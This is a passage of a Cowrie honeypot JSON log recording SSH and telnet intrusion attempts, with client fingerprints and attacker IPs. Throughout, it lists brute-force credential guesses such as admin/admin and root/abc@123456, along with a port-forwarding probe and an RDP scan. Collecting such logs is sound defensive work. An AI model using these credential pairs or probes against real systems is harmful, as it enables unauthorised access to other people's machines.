-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:08.638917Z","src_ip":"193.24.211.95","session":"8d1d52d2068a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123456","message":"login attempt [root/abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:09.061018Z","src_ip":"193.24.211.95","session":"8d1d52d2068a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:10.179337Z","src_ip":"193.24.211.95","session":"8d1d52d2068a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49586,"dst_ip":"10.17.0.5","dst_port":22,"session":"906e5f4f5872","protocol":"ssh","message":"New connection: 87.251.64.176:49586 (10.17.0.5:22) [session: 906e5f4f5872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:17.476280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:17.479798Z","src_ip":"87.251.64.176","session":"906e5f4f5872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:17.578043Z","src_ip":"87.251.64.176","session":"906e5f4f5872","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:17.865691Z","src_ip":"87.251.64.176","session":"906e5f4f5872","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:17.964327Z","session":"906e5f4f5872","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:18.062905Z","src_ip":"87.251.64.176","session":"906e5f4f5872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:18.161213Z","src_ip":"87.251.64.176","session":"906e5f4f5872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.389506101608276,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:21.847614Z","src_ip":"104.245.105.2","session":"acdd7ae5c2d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50210,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a28b63bd345","protocol":"telnet","message":"New connection: 104.245.105.2:50210 (10.17.0.5:23) [session: 0a28b63bd345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:37.876801Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35986,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda5a2c6ddcd","protocol":"telnet","message":"New connection: 104.245.105.2:35986 (10.17.0.5:23) [session: dda5a2c6ddcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:50.016375Z"}
{"eventid":"cowrie.session.closed","duration":30.321263551712036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:08.197954Z","src_ip":"104.245.105.2","session":"0a28b63bd345","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.55511546134949,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:28.571380Z","src_ip":"104.245.105.2","session":"dda5a2c6ddcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":42616,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ecc32158a6","protocol":"ssh","message":"New connection: 202.165.22.58:42616 (159.203.135.109:22) [session: 59ecc32158a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:35.129472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:35.138672Z","src_ip":"202.165.22.58","session":"59ecc32158a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:35.432197Z","src_ip":"202.165.22.58","session":"59ecc32158a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:36.619498Z","src_ip":"202.165.22.58","session":"59ecc32158a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:37.912470Z","src_ip":"202.165.22.58","session":"59ecc32158a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41480,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e48a089f2f","protocol":"telnet","message":"New connection: 104.245.105.2:41480 (10.17.0.5:23) [session: 17e48a089f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:39.195682Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":64036,"dst_ip":"10.17.0.5","dst_port":22,"session":"099e80a9ae97","protocol":"ssh","message":"New connection: 103.149.252.223:64036 (10.17.0.5:22) [session: 099e80a9ae97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:44.857245Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:44.862272Z","src_ip":"103.149.252.223","session":"099e80a9ae97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:44:44.866733Z","src_ip":"103.149.252.223","session":"099e80a9ae97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58404,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b4b59df37a","protocol":"telnet","message":"New connection: 104.245.105.2:58404 (10.17.0.5:23) [session: 51b4b59df37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:45:05.754535Z"}
{"eventid":"cowrie.session.closed","duration":31.521795749664307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:45:10.717391Z","src_ip":"104.245.105.2","session":"17e48a089f2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"0daa7dab0162","protocol":"telnet","message":"New connection: 104.245.105.2:54432 (10.17.0.5:23) [session: 0daa7dab0162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:45:17.605367Z"}
{"eventid":"cowrie.session.closed","duration":31.402501821517944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:45:37.156900Z","src_ip":"104.245.105.2","session":"51b4b59df37a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":48484,"dst_ip":"159.203.135.109","dst_port":23,"session":"497a304b2350","protocol":"telnet","message":"New connection: 173.33.197.75:48484 (159.203.135.109:23) [session: 497a304b2350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:45:48.575719Z"}
{"eventid":"cowrie.session.closed","duration":31.95502758026123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:45:49.560273Z","src_ip":"104.245.105.2","session":"0daa7dab0162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.113.240","src_port":11613,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc35edf3270","protocol":"telnet","message":"New connection: 45.186.113.240:11613 (10.17.0.5:23) [session: 7bc35edf3270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:46:00.864838Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57970,"dst_ip":"10.17.0.5","dst_port":23,"session":"891db78f0d5f","protocol":"telnet","message":"New connection: 104.245.105.2:57970 (10.17.0.5:23) [session: 891db78f0d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:46:03.937876Z"}
{"eventid":"cowrie.session.closed","duration":12.686610698699951,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:46:13.551322Z","src_ip":"45.186.113.240","session":"7bc35edf3270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55532,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba197cb08fb0","protocol":"telnet","message":"New connection: 104.245.105.2:55532 (10.17.0.5:23) [session: ba197cb08fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:46:27.631788Z"}
{"eventid":"cowrie.session.closed","duration":31.907394409179688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:46:35.845094Z","src_ip":"104.245.105.2","session":"891db78f0d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92056941986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:46:58.552223Z","src_ip":"104.245.105.2","session":"ba197cb08fb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42546,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7a11f9b41a0","protocol":"telnet","message":"New connection: 104.245.105.2:42546 (10.17.0.5:23) [session: a7a11f9b41a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:03.392745Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41658,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc9948eee495","protocol":"ssh","message":"New connection: 87.251.64.176:41658 (10.17.0.5:22) [session: bc9948eee495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:16.396270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:16.400795Z","src_ip":"87.251.64.176","session":"bc9948eee495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:16.496592Z","src_ip":"87.251.64.176","session":"bc9948eee495","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:16.787374Z","src_ip":"87.251.64.176","session":"bc9948eee495","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:16.885089Z","session":"bc9948eee495","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:16.982326Z","src_ip":"87.251.64.176","session":"bc9948eee495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:17.080313Z","src_ip":"87.251.64.176","session":"bc9948eee495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40148,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cacd685a037","protocol":"telnet","message":"New connection: 104.245.105.2:40148 (10.17.0.5:23) [session: 0cacd685a037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:29.959337Z"}
{"eventid":"cowrie.session.closed","duration":31.958876371383667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:35.351502Z","src_ip":"104.245.105.2","session":"a7a11f9b41a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b788f38677ac","protocol":"telnet","message":"New connection: 104.245.105.2:39478 (10.17.0.5:23) [session: b788f38677ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:42.093034Z"}
{"eventid":"cowrie.session.closed","duration":120.00248527526855,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:48.578051Z","src_ip":"173.33.197.75","session":"497a304b2350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":43508,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a969579c26a","protocol":"telnet","message":"New connection: 173.33.197.75:43508 (159.203.135.109:23) [session: 6a969579c26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:49.458102Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":39544,"dst_ip":"159.203.135.109","dst_port":22,"session":"c359c359c8d2","protocol":"ssh","message":"New connection: 202.165.22.58:39544 (159.203.135.109:22) [session: c359c359c8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:50.313354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:50.319206Z","src_ip":"202.165.22.58","session":"c359c359c8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:50.605276Z","src_ip":"202.165.22.58","session":"c359c359c8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PaSswORd2025","message":"login attempt [root/PaSswORd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:51.785625Z","src_ip":"202.165.22.58","session":"c359c359c8d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:53.071584Z","src_ip":"202.165.22.58","session":"c359c359c8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":48058,"dst_ip":"159.203.135.109","dst_port":23,"session":"36d43e8c6aca","protocol":"telnet","message":"New connection: 173.33.197.75:48058 (159.203.135.109:23) [session: 36d43e8c6aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:47:56.988896Z"}
{"eventid":"cowrie.session.closed","duration":34.879472970962524,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:04.838663Z","src_ip":"104.245.105.2","session":"0cacd685a037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34510,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1645f9cab10","protocol":"telnet","message":"New connection: 104.245.105.2:34510 (10.17.0.5:23) [session: b1645f9cab10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:05.867368Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d731e070e75f","protocol":"telnet","message":"New connection: 104.245.105.2:54246 (10.17.0.5:23) [session: d731e070e75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:18.477312Z"}
